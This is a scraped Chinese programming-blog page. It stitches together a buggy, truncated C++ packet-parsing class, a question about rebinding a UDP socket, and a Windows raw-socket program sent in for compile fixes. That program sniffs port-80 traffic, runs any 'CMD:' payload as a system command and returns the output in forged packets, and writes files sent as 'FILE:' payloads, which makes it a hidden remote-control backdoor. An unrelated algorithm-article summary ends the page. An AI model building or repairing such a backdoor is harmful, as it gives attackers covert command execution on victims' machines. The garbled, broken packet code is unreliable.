packet_pop.cpp

本文详细介绍了CPacketPop类中的数据初始化方法Init以及字符、无符号字符、短整型的弹出方法PopChar、PopUChar、PopShort。讨论了错误处理机制和数据缓冲区的操作。

#include"error.h"

#include"packet_pop.h"


CPacketPop(char *src_data,int len)

{

Init(src_data,len);

}


CPacketPop()

{}

~CPacketPop()

{}

void CPacketPop::Init(char *src_data,int len)

{

m_data = src_data;

m_len = len;

m_offset = 0;

}


int CPacketPop::PopChar(char &c)

{

if(m_char == NULL || m_len<1)

return ERR_NO_DATA;

if((m_offset + sizeof(char)) > m_len)

return ERR_BUFF_LESS_DATA;

c = m_data[m_offset];

m_offset += sizeof(char);

return sizeof(c);

}


int CPacketPop::PopUChar(unsigned char &uc)

{

if(m_char == NULL || m_len<1)

return ERR_NO_DATA;

if((m_offset + sizeof(unsigned char)) > m_len)

return ERR_BUFF_LESS_DATA;

uc = m_data[m_offset];

m_offset += sizeof(unsigned char);

return sizeof(uc);

}


int PopShort(short &s)

下面的代码中,同一个函数被不同的线程调用,同一个线程共用一个socket, 是否可以按照代码中这样不断重新绑定socket 对应的local ip和端口号?为什么?DWORD WINAPI SendThreadProc(LPVOID param) { std::cout << "Start SendThread Success" << std::endl; SOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); // 配置socket参数 int buf_size = 1024 * 1024; // 1MB setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (char*)&buf_size, sizeof(buf_size)); u_long mode = 1; ioctlsocket(sock, FIONBIO, &mode); // 非阻塞模式 sockaddr_in dest_addr{}; dest_addr.sin_family = AF_INET; InetPton(AF_INET, remoteIP.c_str(), &dest_addr.sin_addr); sockaddr_in local_addr{}; local_addr.sin_family = AF_INET; InetPton(AF_INET, localIP.c_str(), &local_addr.sin_addr); while (true) { for (auto& item : port_queues) { Packet pkt; if (item.second.pop(pkt)) { dest_addr.sin_port = htons(item.first); local_addr.sin_port = htons(item.first); if (bind(sock, (sockaddr*)&local_addr, sizeof(local_addr)) == SOCKET_ERROR) { closesocket(sock); return; } // 非阻塞发送 int sent = sendto(sock, pkt.data.data(), pkt.data.size(), 0, (sockaddr*)&dest_addr, sizeof(dest_addr)); if (sent == SOCKET_ERROR && WSAGetLastError() != WSAEWOULDBLOCK) { // 错误处理 spdlog::error("sendto execute failed!"); } spdlog::info("send data to port {} and Length is {}.", item.first, pkt.data.size()); } } std::this_thread::sleep_for(std::chrono::microseconds(100)); } closesocket(sock); return 0; }
03-08
#include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <process.h> #pragma comment(lib, "ws2_32.lib") #define MAX_PACKET_SIZE 65536 #define HTTP_PORT 80 #pragma pack(push, 1) typedef struct _IP_HEADER { UCHAR ver_ihl; UCHAR tos; USHORT tot_len; USHORT id; USHORT frag_off; UCHAR ttl; UCHAR protocol; USHORT check; ULONG saddr; ULONG daddr; } IP_HEADER; typedef struct _TCP_HEADER { USHORT src_port; USHORT dst_port; ULONG seq_num; ULONG ack_num; UCHAR data_offset; UCHAR flags; USHORT window; USHORT checksum; USHORT urg_ptr; } TCP_HEADER; #pragma pack(pop) // 计算校验和 USHORT checksum(USHORT* buffer, int size) { ULONG cksum = 0; while (size > 1) { cksum += *buffer++; size -= sizeof(USHORT); } if (size) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (USHORT)(~cksum); } // 执行命令并返回结果 void execute_command(char* cmd, char* output) { FILE* fp = _popen(cmd, "r"); if (fp) { fgets(output, 1024, fp); _pclose(fp); } else { strcpy(output, "Command failed"); } } int main() { WSADATA wsa; SOCKET sock; DWORD flag = RCVALL_ON; struct sockaddr_in saddr; char buffer[MAX_PACKET_SIZE]; // 初始化Winsock if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup failed: %d\n", WSAGetLastError()); return 1; } // 创建原始套接字 sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { printf("Socket creation failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // 设置端口复用 int opt = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt)) == SOCKET_ERROR) { printf("SO_REUSEADDR failed: %d\n", WSAGetLastError()); } // 绑定80端口 memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(HTTP_PORT); saddr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (SOCKADDR*)&saddr, sizeof(saddr)) == SOCKET_ERROR) { printf("Bind failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } // 设置混杂模式 DWORD bytesRet; if (WSAIoctl(sock, SIO_RCVALL, &flag, sizeof(flag), NULL, 0, &bytesRet, NULL, NULL) == SOCKET_ERROR) { printf("WSAIoctl failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } printf("[+] Server listening on port 80...\n"); while (1) { int ret = recv(sock, buffer, MAX_PACKET_SIZE, 0); if (ret <= 0) continue; IP_HEADER* iph = (IP_HEADER*)buffer; TCP_HEADER* tcph = (TCP_HEADER*)(buffer + (iph->ver_ihl & 0x0F) * 4); // 只处理目标端口为80的TCP包 if (ntohs(tcph->dst_port) != HTTP_PORT) continue; char* payload = buffer + (iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4; int payload_len = ret - ((iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4); if (payload_len > 0) { // 命令执行功能 if (strncmp(payload, "CMD:", 4) == 0) { char cmd_output[1024]; execute_command(payload + 4, cmd_output); printf("[+] Command executed: %s\nResult: %s\n", payload + 4, cmd_output); // 构造响应包 char resp_packet[1500]; IP_HEADER* resp_ip = (IP_HEADER*)resp_packet; TCP_HEADER* resp_tcp = (TCP_HEADER*)(resp_packet + sizeof(IP_HEADER)); // 填充IP头 memcpy(resp_ip, iph, sizeof(IP_HEADER)); resp_ip->saddr = iph->daddr; resp_ip->daddr = iph->saddr; // 填充TCP头 resp_tcp->src_port = tcph->dst_port; resp_tcp->dst_port = tcph->src_port; resp_tcp->seq_num = htonl(ntohl(tcph->ack_num)); resp_tcp->ack_num = htonl(ntohl(tcph->seq_num) + payload_len); resp_tcp->data_offset = 0x50; // 5 * 4 = 20字节 resp_tcp->flags = 0x18; // PSH+ACK resp_tcp->window = htons(64240); // 填充负载 char* resp_payload = resp_packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER); sprintf(resp_payload, "HTTP/1.1 200 OK\r\nContent-Length: %d\r\n\r\n%s", strlen(cmd_output), cmd_output); // 发送响应 struct sockaddr_in dest; dest.sin_family = AF_INET; dest.sin_addr.s_addr = resp_ip->daddr; sendto(sock, resp_packet, sizeof(IP_HEADER) + sizeof(TCP_HEADER) + strlen(resp_payload), 0, (SOCKADDR*)&dest, sizeof(dest)); } // 文件传输功能 else if (strncmp(payload, "FILE:", 5) == 0) { char filename[256]; sscanf(payload + 5, "%s", filename); printf("[+] Receiving file: %s\n", filename); FILE* fp = fopen(filename, "wb"); if (fp) { fwrite(payload + 5 + strlen(filename) + 1, 1, payload_len - 5 - strlen(filename) - 1, fp); fclose(fp); } } } } closesocket(sock); WSACleanup(); return 0; } 该程序有以下报错: 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C4996 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 170 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C4996 'sscanf': This function or variable may be unsafe. Consider using sscanf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 167 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C4996 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 154 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C2065 “SIO_RCVALL”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 104 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C2065 “RCVALL_ON”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 66 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C4996 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 59 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误(活动) E0020 未定义标识符 "SIO_RCVALL" 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 104 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误(活动) E0020 未定义标识符 "RCVALL_ON" 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 66 给出修改后的完整代码
08-19
内容概要:本文系统介绍了算术优化算法(AOA)的基本原理、核心思想及Python实现方法,并通过图像分割的实际案例展示了其应用价值。AOA是一种基于种群的元启发式算法,其核心思想来源于四则运算,利用乘除运算进行全局勘探,加减运算进行局部开发,通过数学优化器加速函数(MOA)和数学优化概率(MOP)动态控制搜索过程,在全局探索与局部开发之间实现平衡。文章详细解析了算法的初始化、勘探与开发阶段的更新策略,并提供了完整的Python代码实现,结合Rastrigin函数进行测试验证。进一步地,以Flask框架搭建前后端分离系统,将AOA应用于图像分割任务,展示了其在实际工程中的可行性与高效性。最后,通过收敛速度、寻优精度等指标评估算法性能,并提出自适应参数调整、模型优化和并行计算等改进策略。; 适合人群:具备一定Python编程基础和优化算法基础知识的高校学生、科研人员及工程技术人员,尤其适合从事人工智能、图像处理、智能优化等领域的从业者;; 使用场景及目标:①理解元启发式算法的设计思想与实现机制;②掌握AOA在函数优化、图像分割等实际问题中的建模与求解方法;③学习如何将优化算法集成到Web系统中实现工程化应用;④为算法性能评估与改进提供实践参考; 阅读建议:建议读者结合代码逐行调试,深入理解算法流程中MOA与MOP的作用机制,尝试在不同测试函数上运行算法以观察性能差异,并可进一步扩展图像分割模块,引入更复杂的预处理或后处理技术以提升分割效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值